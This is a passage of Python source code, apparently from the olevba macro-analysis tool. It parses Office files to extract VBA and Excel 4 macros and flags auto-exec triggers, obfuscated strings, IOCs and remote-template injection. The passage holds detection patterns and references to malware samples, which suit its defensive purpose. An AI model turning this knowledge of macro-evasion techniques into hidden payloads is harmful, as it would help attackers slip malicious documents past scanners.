suspicious keywords, auto-executable macros, IOC patterns, obfuscation patterns such as hex-encoded strings. :param include_decoded_strings: bool, if True, all encoded strings will be included with their decoded content. :param deobfuscate: bool, if True attempt to deobfuscate VBA expressions (slow) :return: list of tuples (type, keyword, description) (type = 'AutoExec', 'Suspicious', 'IOC', 'Hex String', 'Base64 String' or 'Dridex String') """ # First, detect and extract hex-encoded strings: self.hex_strings = detect_hex_strings(self.code) # detect if the code contains StrReverse: self.strReverse = False if 'strreverse' in self.code.lower(): self.strReverse = True # Then append the decoded strings to the VBA code, to detect obfuscated IOCs and keywords: for encoded, decoded in self.hex_strings: self.code_hex += '\n' + decoded # if the code contains "StrReverse", also append the hex strings in reverse order: if self.strReverse: # StrReverse after hex decoding: self.code_hex_rev += '\n' + decoded[::-1] # StrReverse before hex decoding: self.code_rev_hex += '\n' + bytes2str(binascii.unhexlify(encoded[::-1])) #example: https://malwr.com/analysis/NmFlMGI4YTY1YzYyNDkwNTg1ZTBiZmY5OGI3YjlhYzU/ #TODO: also append the full code reversed if StrReverse? (risk of false positives?) # Detect Base64-encoded strings self.base64_strings = detect_base64_strings(self.code) for encoded, decoded in self.base64_strings: self.code_base64 += '\n' + decoded # Detect Dridex-encoded strings self.dridex_strings = detect_dridex_strings(self.code) for encoded, decoded in self.dridex_strings: self.code_dridex += '\n' + decoded # Detect obfuscated strings in VBA expressions if deobfuscate: self.vba_strings = detect_vba_strings(self.code) else: self.vba_strings = [] for encoded, decoded in self.vba_strings: self.code_vba += '\n' + decoded results = [] self.autoexec_keywords = [] self.suspicious_keywords = [] self.iocs = [] for code, obfuscation in ( (self.code, None), (self.code_hex, 'Hex'), (self.code_hex_rev, 'Hex+StrReverse'), (self.code_rev_hex, 'StrReverse+Hex'), (self.code_base64, 'Base64'), (self.code_dridex, 'Dridex'), (self.code_vba, 'VBA expression'), ): self.autoexec_keywords += detect_autoexec(code, obfuscation) self.suspicious_keywords += detect_suspicious(code, obfuscation) self.iocs += detect_patterns(code, obfuscation) # If hex-encoded strings were discovered, add an item to suspicious keywords: if self.hex_strings: self.suspicious_keywords.append(('Hex Strings', 'Hex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)')) if self.base64_strings: self.suspicious_keywords.append(('Base64 Strings', 'Base64-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)')) if self.dridex_strings: self.suspicious_keywords.append(('Dridex Strings', 'Dridex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)')) if self.vba_strings: self.suspicious_keywords.append(('VBA obfuscated Strings', 'VBA string expressions were detected, may be used to obfuscate strings (option --decode to see all)')) # use a set to avoid duplicate keywords keyword_set = set() for keyword, description in self.autoexec_keywords: if keyword not in keyword_set: results.append(('AutoExec', keyword, description)) keyword_set.add(keyword) keyword_set = set() for keyword, description in self.suspicious_keywords: if keyword not in keyword_set: results.append(('Suspicious', keyword, description)) keyword_set.add(keyword) keyword_set = set() for pattern_type, value in self.iocs: if value not in keyword_set: results.append(('IOC', value, pattern_type)) keyword_set.add(value) # include decoded strings only if they are printable or if --decode option: for encoded, decoded in self.hex_strings: if include_decoded_strings or is_printable(decoded): results.append(('Hex String', decoded, encoded)) for encoded, decoded in self.base64_strings: if include_decoded_strings or is_printable(decoded): results.append(('Base64 String', decoded, encoded)) for encoded, decoded in self.dridex_strings: if include_decoded_strings or is_printable(decoded): results.append(('Dridex string', decoded, encoded)) for encoded, decoded in self.vba_strings: if include_decoded_strings or is_printable(decoded): results.append(('VBA string', decoded, encoded)) self.results = results return results def scan_summary(self): """ Analyze the provided VBA code to detect suspicious keywords, auto-executable macros, IOC patterns, obfuscation patterns such as hex-encoded strings. :return: tuple with the number of items found for each category: (autoexec, suspicious, IOCs, hex, base64, dridex, vba) """ # avoid scanning the same code twice: if self.results is None: self.scan() return (len(self.autoexec_keywords), len(self.suspicious_keywords), len(self.iocs), len(self.hex_strings), len(self.base64_strings), len(self.dridex_strings), len(self.vba_strings)) def scan_vba(vba_code, include_decoded_strings, deobfuscate=False): """ Analyze the provided VBA code to detect suspicious keywords, auto-executable macros, IOC patterns, obfuscation patterns such as hex-encoded strings. (shortcut for VBA_Scanner(vba_code).scan()) :param vba_code: str, VBA source code to be analyzed :param include_decoded_strings: bool, if True all encoded strings will be included with their decoded content. :param deobfuscate: bool, if True attempt to deobfuscate VBA expressions (slow) :return: list of tuples (type, keyword, description) with type = 'AutoExec', 'Suspicious', 'IOC', 'Hex String', 'Base64 String' or 'Dridex String' """ return VBA_Scanner(vba_code).scan(include_decoded_strings, deobfuscate) #=== CLASSES ================================================================= class VBA_Parser(object): """ Class to parse MS Office files, to detect VBA macros and extract VBA source code """ # TODO: relaxed is enabled by default temporarily, until a solution is found for issue #593 def __init__(self, filename, data=None, container=None, relaxed=True, encoding=DEFAULT_API_ENCODING, disable_pcode=False): """ Constructor for VBA_Parser :param str filename: filename or path of file to parse, or file-like object :param bytes data: None or bytes str, if None the file will be read from disk (or from the file-like object). If data is provided as a bytes string, it will be parsed as the content of the file in memory, and not read from disk. Note: files must be read in binary mode, i.e. open(f, 'rb'). :param str container: str, path and filename of container if the file is within a zip archive, None otherwise. :param bool relaxed: if True, treat mal-formed documents and missing streams more like MS office: do nothing; if False (default), raise errors in these cases :param str encoding: encoding for VBA source code and strings. Default: UTF-8 bytes strings on Python 2, unicode strings on Python 3 (None) raises a FileOpenError if all attempts to interpret the data header failed. """ # TODO: filename should only be a string, data should be used for the file-like object # TODO: filename should be mandatory, optional data is a string or file-like object # TODO: also support olefile and zipfile as input if data is None: # open file from disk: _file = filename self.file_on_disk = True else: # file already read in memory, make it a file-like object for zipfile: _file = BytesIO(data) self.file_on_disk = False #self.file = _file self.ole_file = None self.ole_subfiles = [] self.filename = filename self.container = container self.relaxed = relaxed self.type = None self.vba_projects = None self.vba_forms = None self.contains_macros = None # will be set to True or False by detect_macros self.vba_code_all_modules = None # to store the source code of all modules # list of tuples for each module: (subfilename, stream_path, vba_filename, vba_code) self.modules = None # Analysis results: list of tuples (type, keyword, description) - See VBA_Scanner self.analysis_results = None # statistics for the scan summary and flags self.nb_macros = 0 self.nb_autoexec = 0 self.nb_suspicious = 0 self.nb_iocs = 0 self.nb_hexstrings = 0 self.nb_base64strings = 0 self.nb_dridexstrings = 0 self.nb_vbastrings = 0 #: Encoding for VBA source code and strings returned by all methods self.encoding = encoding self.xlm_macros = [] self.no_xlm = False #: Output from pcodedmp, disassembly of the VBA P-code self.disable_pcode = disable_pcode self.pcodedmp_output = None #: Flag set to True/False if VBA stomping detected self.vba_stomping_detected = None # will be set to True or False by detect_is_encrypted method self.is_encrypted = False self.xlm_macrosheet_found = False self.template_injection_found = False # if filename is None: # if isinstance(_file, basestring): # if len(_file) < olefile.MINIMAL_OLEFILE_SIZE: # self.filename = _file # else: # self.filename = '<file in bytes string>' # else: # self.filename = '<file-like object>' if olefile.isOleFile(_file): # This looks like an OLE file self.open_ole(_file) # if this worked, try whether it is a ppt file (special ole file) # TODO: instead of this we should have a function to test if it is a PPT self.open_ppt() if self.type is None and zipfile.is_zipfile(_file): # Zip file, which may be an OpenXML document self.open_openxml(_file) if self.type is None: # read file from disk, check if it is a Word 2003 XML file (WordProcessingML), Excel 2003 XML, # or a plain text file containing VBA code if data is None: with open(filename, 'rb') as file_handle: data = file_handle.read() # check if it is a Word 2003 XML file (WordProcessingML): must contain the namespace if b'http://schemas.microsoft.com/office/word/2003/wordml' in data: self.open_word2003xml(data) # check if it is a Word/PowerPoint 2007+ XML file (Flat OPC): must contain the namespace if b'http://schemas.microsoft.com/office/2006/xmlPackage' in data: self.open_flatopc(data) # store a lowercase version for the next tests: data_lowercase = data.lower() # check if it is a MHT file (MIME HTML, Word or Excel saved as "Single File Web Page"): # According to my tests, these files usually start with "MIME-Version: 1.0" on the 1st line # BUT Word accepts a blank line or other MIME headers inserted before, # and even whitespaces in between "MIME", "-", "Version" and ":". The version number is ignored. # And the line is case insensitive. # so we'll just check the presence of mime, version and multipart anywhere: if (self.type is None and b'mime' in data_lowercase and b'version' in data_lowercase and b'multipart' in data_lowercase and abs(data_lowercase.index(b'version') - data_lowercase.index(b'mime')) < 20): self.open_mht(data) #TODO: handle exceptions #TODO: Excel 2003 XML # Check whether this is rtf if rtfobj.is_rtf(data, treat_str_as_data=True): # Ignore RTF since it contains no macros and methods in here will not find macros # in embedded objects. run rtfobj and repeat on its output. msg = '%s is RTF, which cannot contain VBA Macros. Please use rtfobj to analyse it.' % self.filename log.info(msg) raise FileOpenError(msg) # Check if it is a SLK/SYLK file - https://en.wikipedia.org/wiki/SYmbolic_LinK_(SYLK) # It must start with "ID" in uppercase, no whitespace or newline allowed before by Excel: if data.startswith(b'ID'): self.open_slk(data) # Check if this is a plain text VBA or VBScript file: # To avoid scanning binary files, we simply check for some control chars: if self.type is None and b'\x00' not in data: self.open_text(data) if self.type is None: # At this stage, could not match a known format: msg = '%s is not a supported file type, cannot extract VBA Macros.' % self.filename log.info(msg) raise FileOpenError(msg) def open_ole(self, _file): """ Open an OLE file :param _file: filename or file contents in a file object :return: nothing """ log.info('Opening OLE file %s' % self.filename) try: # Open and parse the OLE file, using unicode for path names: self.ole_file = olefile.OleFileIO(_file, path_encoding=None) # set type only if parsing succeeds self.type = TYPE_OLE except (IOError, TypeError, ValueError) as exc: # TODO: handle OLE parsing exceptions log.info('Failed OLE parsing for file %r (%s)' % (self.filename, exc)) log.debug('Trace:', exc_info=True) def open_openxml(self, _file): """ Open an OpenXML file :param _file: filename or file contents in a file object :return: nothing """ # This looks like a zip file, need to look for vbaProject.bin inside # It can be any OLE file inside the archive #...because vbaProject.bin can be renamed: # see http://www.decalage.info/files/JCV07_Lagadec_OpenDocument_OpenXML_v4_decalage.pdf#page=18 log.info('Opening ZIP/OpenXML file %s' % self.filename) try: z = zipfile.ZipFile(_file) #TODO: check if this is actually an OpenXML file #TODO: if the zip file is encrypted, suggest to use the -z option, or try '-z infected' automatically # check each file within the zip if it is an OLE file, by reading its magic: for subfile in z.namelist(): log.debug("subfile {}".format(subfile)) with z.open(subfile) as file_handle: found_ole = False template_injection_detected = False xml_macrosheet_found = False magic = file_handle.read(len(olefile.MAGIC)) if magic == olefile.MAGIC: found_ole = True # in case we did not find an OLE file, # there could be a XLM macrosheet or a template injection attempt if not found_ole: read_all_file = file_handle.read() # try to detect template injection attempt # https://ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros subfile_that_can_contain_templates = "word/_rels/settings.xml.rels" if subfile == subfile_that_can_contain_templates: regex_template = b"Type=\"http://schemas\.openxmlformats\.org/officeDocument/\d{4}/relationships/attachedTemplate\"\s+Target=\"(.+?)\"" template_injection_found = re.search(regex_template, read_all_file) if template_injection_found: injected_template_url = template_injection_found.group(1).decode() message = "Found injected template in subfile {}. Template URL: {}"\ "".format(subfile_that_can_contain_templates, injected_template_url) log.info(message) template_injection_detected = True self.template_injection_found = True # try to find a XML macrosheet macro_sheet_footer = b"</xm:macrosheet>" len_macro_sheet_footer = len(macro_sheet_footer) last_bytes_to_check = read_all_file[-len_macro_sheet_footer:] if last_bytes_to_check == macro_sheet_footer: message = "Found XLM Macro in subfile: {}".format(subfile) log.info(message) xml_macrosheet_found = True self.xlm_macrosheet_found = True if found_ole or xml_macrosheet_found or template_injection_detected: log.debug('Opening OLE file %s within zip' % subfile) with z.open(subfile) as file_handle: ole_data = file_handle.read() try: self.append_subfile(filename=subfile, data=ole_data) except OlevbaBaseException as exc: if self.relaxed: log.info('%s is not a valid OLE file (%s)' % (subfile, exc)) log.debug('Trace:', exc_info=True) continue else: raise SubstreamOpenError(self.filename, subfile, exc) z.close() # set type only if parsing succeeds self.type = TYPE_OpenXML except OlevbaBaseException as exc: if self.relaxed: log.info('Error {0} caught in Zip/OpenXML parsing for file {1}' .format(exc, self.filename)) log.debug('Trace:', exc_info=True) else: raise except (RuntimeError, zipfile.BadZipfile, zipfile.LargeZipFile, IOError) as exc: # TODO: handle parsing exceptions log.info('Failed Zip/OpenXML parsing for file %r (%s)' % (self.filename, exc)) log.debug('Trace:', exc_info=True) def open_word2003xml(self, data): """ Open a Word 2003 XML file :param data: file contents in a string or bytes :return: nothing """ log.info('Opening Word 2003 XML file %s' % self.filename) try: # parse the XML content # TODO: handle XML parsing exceptions et = ET.fromstring(data) # find all the binData elements: for bindata in et.getiterator(TAG_BINDATA): # the binData content is an OLE container for the VBA project, compressed # using the ActiveMime/MSO format (zlib-compressed), and Base64 encoded. # get the filename: fname = bindata.get(ATTR_NAME, 'noname.mso') # decode the base64 activemime mso_data = binascii.a2b_base64(bindata.text) if is_mso_file(mso_data): # decompress the zlib data stored in the MSO file, which is the OLE container: # TODO: handle different offsets => separate function try: ole_data = mso_file_extract(mso_data) self.append_subfile(filename=fname, data=ole_data) except OlevbaBaseException as exc: if self.relaxed: log.info('Error parsing subfile {0}: {1}' .format(fname, exc)) log.debug('Trace:', exc_info=True) else: raise SubstreamOpenError(self.filename, fname, exc) else: log.info('%s is not a valid MSO file' % fname) # set type only if parsing succeeds self.type = TYPE_Word2003_XML except OlevbaBaseException as exc: if self.relaxed: log.info('Failed XML parsing for file %r (%s)' % (self.filename, exc)) log.debug('Trace:', exc_info=True) else: raise except Exception as exc: # TODO: differentiate exceptions for each parsing stage # (but ET is different libs, no good exception description in API) # found: XMLSyntaxError log.info('Failed XML parsing for file %r (%s)' % (self.filename, exc)) log.debug('Trace:', exc_info=True) def open_flatopc(self, data): """ Open a Word or PowerPoint 2007+ XML file, aka "Flat OPC" :param data: file contents in a string or bytes :return: nothing """ log.info('Opening Flat OPC Word/PowerPoint XML file %s' % self.filename) try: # parse the XML content # TODO: handle XML parsing exceptions et = ET.fromstring(data) # TODO: check root node namespace and tag # find all the pkg:part elements: for pkgpart in et.iter(TAG_PKGPART): fname = pkgpart.get(ATTR_PKG_NAME, 'unknown') content_type = pkgpart.get(ATTR_PKG_CONTENTTYPE, 'unknown') if content_type == CTYPE_VBAPROJECT: for bindata in pkgpart.iterfind(TAG_PKGBINDATA): try: ole_data = binascii.a2b_base64(bindata.text) self.append_subfile(filename=fname, data=ole_data) except OlevbaBaseException as exc: if self.relaxed: log.info('Error parsing subfile {0}: {1}' .format(fname, exc)) log.debug('Trace:', exc_info=True) else: raise SubstreamOpenError(self.filename, fname, exc) # set type only if parsing succeeds self.type = TYPE_FlatOPC_XML except OlevbaBaseException as exc: if self.relaxed: log.info('Failed XML parsing for file %r (%s)' % (self.filename, exc)) log.debug('Trace:', exc_info=True) else: raise except Exception as exc: # TODO: differentiate exceptions for each parsing stage # (but ET is different libs, no good exception description in API) # found: XMLSyntaxError log.info('Failed XML parsing for file %r (%s)' % (self.filename, exc)) log.debug('Trace:', exc_info=True) def open_mht(self, data): """ Open a MHTML file :param data: file contents in a string or bytes :return: nothing """ log.info('Opening MHTML file %s' % self.filename) try: # parse the MIME content # remove any leading whitespace or newline (workaround for issue in email package) stripped_data = data.lstrip(b'\r\n\t ') # strip any junk from the beginning of the file # (issue #31 fix by Greg C - gdigreg) # TODO: improve keywords to avoid false positives mime_offset = stripped_data.find(b'MIME') content_offset = stripped_data.find(b'Content') # if "MIME" is found, and located before "Content": if -1 < mime_offset <= content_offset: stripped_data = stripped_data[mime_offset:] # else if "Content" is found, and before "MIME" # TODO: can it work without "MIME" at all? elif content_offset > -1: stripped_data = stripped_data[content_offset:] # TODO: quick and dirty fix: insert a standard line with MIME-Version header? # monkeypatch email to fix issue #32: # allow header lines without ":" oldHeaderRE = email.feedparser.headerRE loosyHeaderRE = re.compile(r'^(From |[\041-\071\073-\176]{1,}:?|[\t ])') email.feedparser.headerRE = loosyHeaderRE try: if PYTHON2: mhtml = email.message_from_string(stripped_data) else: # on Python 3, need to use message_from_bytes instead: mhtml = email.message_from_bytes(stripped_data) finally: email.feedparser.headerRE = oldHeaderRE # find all the attached files: for part in mhtml.walk(): content_type = part.get_content_type() # always returns a value fname = part.get_filename(None) # returns None if it fails # TODO: get content-location if no filename log.debug('MHTML part: filename=%r, content-type=%r' % (fname, content_type)) part_data = part.get_payload(decode=True) # VBA macros are stored in a binary file named "editdata.mso". # the data content is an OLE container for the VBA project, compressed # using the ActiveMime/MSO format (zlib-compressed), and Base64 encoded. # decompress the zlib data starting at offset 0x32, which is the OLE container: # check ActiveMime header: if isinstance(part_data, bytes) and is_mso_file(part_data): log.debug('Found ActiveMime header, decompressing MSO container') try: ole_data = mso_file_extract(part_data) # TODO: check if it is actually an OLE file # TODO: get the MSO filename from content_location? self.append_subfile(filename=fname, data=ole_data) except OlevbaBaseException as exc: if self.relaxed: log.info('%s does not contain a valid OLE file (%s)' % (fname, exc)) log.debug('Trace:', exc_info=True) # TODO: bug here - need to split in smaller functions/classes? else: raise SubstreamOpenError(self.filename, fname, exc) else: log.debug('type(part_data) = %s' % type(part_data)) try: log.debug('part_data[0:20] = %r' % part_data[0:20]) except TypeError as err: log.debug('part_data has no __getitem__') # set type only if parsing succeeds self.type = TYPE_MHTML except OlevbaBaseException: raise except Exception: log.info('Failed MIME parsing for file %r - %s' % (self.filename, MSG_OLEVBA_ISSUES)) log.debug('Trace:', exc_info=True) def open_ppt(self): """ try to interpret self.ole_file as PowerPoint 97-2003 using PptParser Although self.ole_file is a valid olefile.OleFileIO, we set self.ole_file = None in here and instead set self.ole_subfiles to the VBA ole streams found within the main ole file. That makes most of the code below treat this like an OpenXML file and only look at the ole_subfiles (except find_vba_* which needs to explicitly check for self.type) """ log.info('Check whether OLE file is PPT') try: ppt = ppt_parser.PptParser(self.ole_file, fast_fail=True) for vba_data in ppt.iter_vba_data(): self.append_subfile(None, vba_data, container='PptParser') log.info('File is PPT') self.ole_file.close() # just in case self.ole_file = None # required to make other methods look at ole_subfiles self.type = TYPE_PPT except (ppt_parser.PptUnexpectedData, ValueError) as exc: if self.container == 'PptParser': # this is a subfile of a ppt --> to be expected that is no ppt log.debug('PPT subfile is not a PPT file') else: log.debug("File appears not to be a ppt file (%s)" % exc) def open_slk(self, data): """ Open a SLK file, which may contain XLM/Excel 4 macros :param data: file contents in a bytes string :return: nothing """ # TODO: Those results should be stored as XLM macros, not VBA log.info('Opening SLK file %s' % self.filename) xlm_macro_found = False xlm_macros = [] xlm_macros.append('Formulas and XLM/Excel 4 macros extracted from SLK file:') for line in data.splitlines(keepends=False): if line.startswith(b'O'): # Option: "O;E" indicates a macro sheet, must appear before NN and C rows for s in line.split(b';'): if s.startswith(b'E'): xlm_macro_found = True log.debug('SLK parser: found macro sheet') elif line.startswith(b'NN') and xlm_macro_found: # Name that can trigger a macro, for example "Auto_Open" for s in line.split(b';'): if s.startswith(b'N') and s.strip() != b'NN': xlm_macros.append('Named cell: %s' % bytes2str(s[1:])) elif line.startswith(b'C') and xlm_macro_found: # Cell for s in line.split(b';'): if s.startswith(b'E'): xlm_macros.append('Formula or Macro: %s' % bytes2str(s[1:])) if xlm_macro_found: self.contains_macros = True self.xlm_macros = xlm_macros self.type = TYPE_SLK def open_text(self, data): """ Open a text file containing VBA or VBScript source code :param data: file contents in a string or bytes :return: nothing """ log.info('Opening text file %s' % self.filename) # directly store the source code: # On Python 2, store it as a raw bytes string # On Python 3, convert it to unicode assuming it was encoded with UTF-8 self.vba_code_all_modules = bytes2str(data) self.contains_macros = True # set type only if parsing succeeds self.type = TYPE_TEXT def append_subfile(self, filename, data, container=None): """ Create sub-parser for given subfile/data and append to subfiles. """ self.ole_subfiles.append(VBA_Parser(filename, data, container, relaxed=self.relaxed, encoding=self.encoding, disable_pcode=self.disable_pcode)) def find_vba_projects(self): """ Finds all the VBA projects stored in an OLE file. Return None if the file is not OLE but OpenXML. Return a list of tuples (vba_root, project_path, dir_path) for each VBA project. vba_root is the path of the root OLE storage containing the VBA project, including a trailing slash unless it is the root of the OLE file. project_path is the path of the OLE stream named "PROJECT" within the VBA project. dir_path is the path of the OLE stream named "VBA/dir" within the VBA project. If this function returns an empty list for one of the supported formats (i.e. Word, Excel, Powerpoint), then the file does not contain VBA macros. :return: None if OpenXML file, list of tuples (vba_root, project_path, dir_path) for each VBA project found if OLE file """ log.debug('VBA_Parser.find_vba_projects') # if the file is not OLE but OpenXML, return None: if self.ole_file is None and self.type != TYPE_PPT: return None # if this method has already been called, return previous result: if self.vba_projects is not None: return self.vba_projects # if this is a ppt file (PowerPoint 97-2003): # self.ole_file is None but the ole_subfiles do contain vba_projects # (like for OpenXML files). if self.type == TYPE_PPT: # TODO: so far, this function is never called for PPT files, but # if that happens, the information is lost which ole file contains # which storage! log.warning('Returned info is not complete for PPT types!') self.vba_projects = [] for subfile in self.ole_subfiles: self.vba_projects.extend(subfile.find_vba_projects()) return self.vba_projects # Find the VBA project root (different in MS Word, Excel, etc): # - Word 97-2003: Macros # - Excel 97-2003: _VBA_PROJECT_CUR # - PowerPoint 97-2003: PptParser has identified ole_subfiles # - Word 2007+: word/vbaProject.bin in zip archive, then the VBA project is the root of vbaProject.bin. # - Excel 2007+: xl/vbaProject.bin in zip archive, then same as Word # - PowerPoint 2007+: ppt/vbaProject.bin in zip archive, then same as Word # - Visio 2007: not supported yet (different file structure) # According to MS-OVBA section 2.2.1: # - the VBA project root storage MUST contain a VBA storage and a PROJECT stream # - The root/VBA storage MUST contain a _VBA_PROJECT stream and a dir stream # - all names are case-insensitive def check_vba_stream(ole, vba_root, stream_path): full_path = vba_root + stream_path if ole.exists(full_path) and ole.get_type(full_path) == olefile.STGTY_STREAM: log.debug('Found %s stream: %s' % (stream_path, full_path)) return full_path else: log.debug('Missing %s stream, this is not a valid VBA project structure' % stream_path) return False # start with an empty list: self.vba_projects = [] # Look for any storage containing those storage/streams: ole = self.ole_file for storage in ole.listdir(streams=False, storages=True): log.debug('Checking storage %r' % storage) # Look for a storage ending with "VBA": if storage[-1].upper() == 'VBA': log.debug('Found VBA storage: %s' % ('/'.join(storage))) vba_root = '/'.join(storage[:-1]) # Add a trailing slash to vba_root, unless it is the root of the OLE file: # (used later to append all the child streams/storages) if vba_root != '': vba_root += '/' log.debug('Checking vba_root="%s"' % vba_root) # Check if the VBA root storage also contains a PROJECT stream: project_path = check_vba_stream(ole, vba_root, 'PROJECT') if not project_path: continue # Check if the VBA root storage also contains a VBA/_VBA_PROJECT stream: vba_project_path = check_vba_stream(ole, vba_root, 'VBA/_VBA_PROJECT') if not vba_project_path: continue # Check if the VBA root storage also contains a VBA/dir stream: dir_path = check_vba_stream(ole, vba_root, 'VBA/dir') if not dir_path: continue # Now we are pretty sure it is a VBA project structure log.debug('VBA root storage: "%s"' % vba_root) # append the results to the list as a tuple for later use: self.vba_projects.append((vba_root, project_path, dir_path)) return self.vba_projects def detect_vba_macros(self): """ Detect the potential presence of VBA macros in the file, by checking if it contains VBA projects. Both OLE and OpenXML files are supported. Important: for now, results are accurate only for Word, Excel and PowerPoint Note: this method does NOT attempt to check the actual presence or validity of VBA macro source code, so there might be false positives. It may also detect VBA macros in files embedded within the main file, for example an Excel workbook with macros embedded into a Word document without macros may be detected, without distinction. :return: bool, True if at least one VBA project has been found, False otherwise """ log.debug("detect vba macros") #TODO: return None or raise exception if format not supported #TODO: return the number of VBA projects found instead of True/False? # if this method was already called, return the previous result: if self.contains_macros is not None: return self.contains_macros # if OpenXML/PPT, check all the OLE subfiles: if self.ole_file is None: for ole_subfile in self.ole_subfiles: log.debug("ole subfile {}".format(ole_subfile)) ole_subfile.no_xlm = self.no_xlm if ole_subfile.detect_vba_macros(): self.contains_macros = True return True # otherwise, no macro found: self.contains_macros = False return False # otherwise it's an OLE file, find VBA projects: vba_projects = self.find_vba_projects() if len(vba_projects) == 0: self.contains_macros = False else: self.contains_macros = True # Also look for VBA code in any stream including orphans # (happens in some malformed files) ole = self.ole_file for sid in xrange(len(ole.direntries)): # check if id is already done above: log.debug('Checking DirEntry #%d' % sid) d = ole.direntries[sid] if d is None: # this direntry is not part of the tree: either unused or an orphan d = ole._load_direntry(sid) log.debug('This DirEntry is an orphan or unused') if d.entry_type == olefile.STGTY_STREAM: # read data log.debug('Reading data from stream %r - size: %d bytes' % (d.name, d.size)) try: data = ole._open(d.isectStart, d.size).read() log.debug('Read %d bytes' % len(data)) if len(data) > 200: log.debug('%r...[much more data]...%r' % (data[:100], data[-50:])) else: log.debug(repr(data)) if b'Attribut\x00' in data: log.debug('Found VBA compressed code') self.contains_macros = True except IOError as exc: if self.relaxed: log.info('Error when reading OLE Stream %r' % d.name) log.debug('Trace:', exc_trace=True) else: raise SubstreamOpenError(self.filename, d.name, exc) if (not self.no_xlm) and self.detect_xlm_macros(): self.contains_macros = True return self.contains_macros def detect_xlm_macros(self): log.debug("detect xlm macros") # if this is a SLK file, the analysis was done in open_slk: if self.type == TYPE_SLK: return self.contains_macros from oletools.thirdparty.oledump.plugin_biff import cBIFF self.xlm_macros = [] if self.ole_file is None: return False for excel_stream in ('Workbook', 'Book'): if self.ole_file.exists(excel_stream): log.debug('Found Excel stream %r' % excel_stream) data = self.ole_file.openstream(excel_stream).read() log.debug('Running BIFF plugin from oledump') try: # starting from plugin_biff 0.0.12, we use the CSV output (-c) instead of -x # biff_plugin = cBIFF(name=[excel_stream], stream=data, options='-x') # First let's get the list of boundsheets, and check if there are Excel 4 macros: biff_plugin = cBIFF(name=[excel_stream], stream=data, options='-o BOUNDSHEET') self.xlm_macros = biff_plugin.Analyze() if "Excel 4.0 macro sheet" in '\n'.join(self.xlm_macros): log.debug('Found XLM macros') # get the list of labels, which may contain the "Auto_Open" trigger biff_plugin = cBIFF(name=[excel_stream], stream=data, options='-o LABEL -r LN') self.xlm_macros += biff_plugin.Analyze() biff_plugin = cBIFF(name=[excel_stream], stream=data, options='-c -r LN') self.xlm_macros += biff_plugin.Analyze() # we run plugin_biff again, this time to search DCONN objects and get their URLs, if any: # ref: https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros biff_plugin = cBIFF(name=[excel_stream], stream=data, options='-o DCONN -s') self.xlm_macros += biff_plugin.Analyze() return True except: log.exception('Error when running oledump.plugin_biff, please report to %s' % URL_OLEVBA_ISSUES) return False def detect_is_encrypted(self): if self.ole_file: self.is_encrypted = crypto.is_encrypted(self.ole_file) return self.is_encrypted def decrypt_file(self, passwords_list=None): decrypted_file = None if self.detect_is_encrypted(): passwords = crypto.DEFAULT_PASSWORDS if passwords_list and isinstance(passwords_list, list): passwords.extend(passwords_list) decrypted_file = crypto.decrypt(self.filename, passwords) return decrypted_file def encode_string(self, unicode_str): """ Encode a unicode string to bytes or str, using the specified encoding for the VBA_parser. By default, it will be bytes/UTF-8 on Python 2, and a normal unicode string on Python 3. :param str unicode_str: string to be encoded :return: encoded string """ if self.encoding is None: return unicode_str else: return unicode_str.encode(self.encoding, errors='replace') def extract_macros(self): """ Extract and decompress source code for each VBA macro found in the file Iterator: yields (filename, stream_path, vba_filename, vba_code) for each VBA macro found If the file is OLE, filename is the path of the file. If the file is OpenXML, filename is the path of the OLE subfile containing VBA macros within the zip archive, e.g. word/vbaProject.bin. If the file is PPT, result is as for OpenXML but filename is useless """ log.debug('extract_macros:') if self.ole_file is None: # This may be either an OpenXML/PPT or a text file: if self.type == TYPE_TEXT: # This is a text file, yield the full code: yield (self.filename, '', self.filename, self.vba_code_all_modules) elif self.type == TYPE_SLK: if self.xlm_macros: vba_code = '' for line in self.xlm_macros: vba_code += "' " + line + '\n' yield ('xlm_macro', 'xlm_macro', 'xlm_macro.txt', vba_code) else: # OpenXML/PPT: recursively yield results from each OLE subfile: for ole_subfile in self.ole_subfiles: for results in ole_subfile.extract_macros(): yield results else: # This is an OLE file: self.find_vba_projects() # set of stream ids vba_stream_ids = set() for vba_root, project_path, dir_path in self.vba_projects: # extract all VBA macros from that VBA root storage: # The function _extract_vba may fail on some files (issue #132) # TODO: refactor this loop, because if one module fails it stops parsing, # and the error is only logged, not stored for reporting anomalies try: for stream_path, vba_filename, vba_code in \ _extract_vba(self.ole_file, vba_root, project_path, dir_path, self.relaxed): # store direntry ids in a set: vba_stream_ids.add(self.ole_file._find(stream_path)) yield (self.filename, stream_path, vba_filename, vba_code) except Exception as e: log.exception('Error in _extract_vba') # Also look for VBA code in any stream including orphans # (happens in some malformed files) ole = self.ole_file for sid in xrange(len(ole.direntries)): # check if id is already done above: log.debug('Checking DirEntry #%d' % sid) if sid in vba_stream_ids: log.debug('Already extracted') continue d = ole.direntries[sid] if d is None: # this direntry is not part of the tree: either unused or an orphan d = ole._load_direntry(sid) log.debug('This DirEntry is an orphan or unused') if d.entry_type == olefile.STGTY_STREAM: # read data log.debug('Reading data from stream %r' % d.name) data = ole._open(d.isectStart, d.size).read() for match in re.finditer(b'\\x00Attribut[^e]', data, flags=re.IGNORECASE): start = match.start() - 3 log.debug('Found VBA compressed code at index %X' % start) compressed_code = data[start:] try: vba_code_bytes = decompress_stream(bytearray(compressed_code)) # vba_code_bytes is in bytes, we need to convert it to str # but here we don't know the encoding of the VBA project # (for example code page 1252 or 1251), because it's in the # VBA_Project class and if we're here it may be because # the VBA project parsing failed (e.g. issue #593). # So let's convert using cp1252 as a guess # TODO get the actual encoding from the VBA_Project vba_code_str = bytes2str(vba_code_bytes, encoding='cp1252') yield (self.filename, d.name, d.name, vba_code_str) except Exception as exc: # display the exception with full stack trace for debugging log.debug('Error processing stream %r in file %r (%s)' % (d.name, self.filename, exc)) log.debug('Traceback:', exc_info=True) # do not raise the error, as it is unlikely to be a compressed macro stream if self.xlm_macros: vba_code = '' for line in self.xlm_macros: vba_code += "' " + line + '\n' yield ('xlm_macro', 'xlm_macro', 'xlm_macro.txt', vba_code) # Analyse the VBA P-code to detect VBA stomping: # If stomping is detected, add a fake VBA module with the P-code as source comments # so that VBA_Scanner can find keywords and 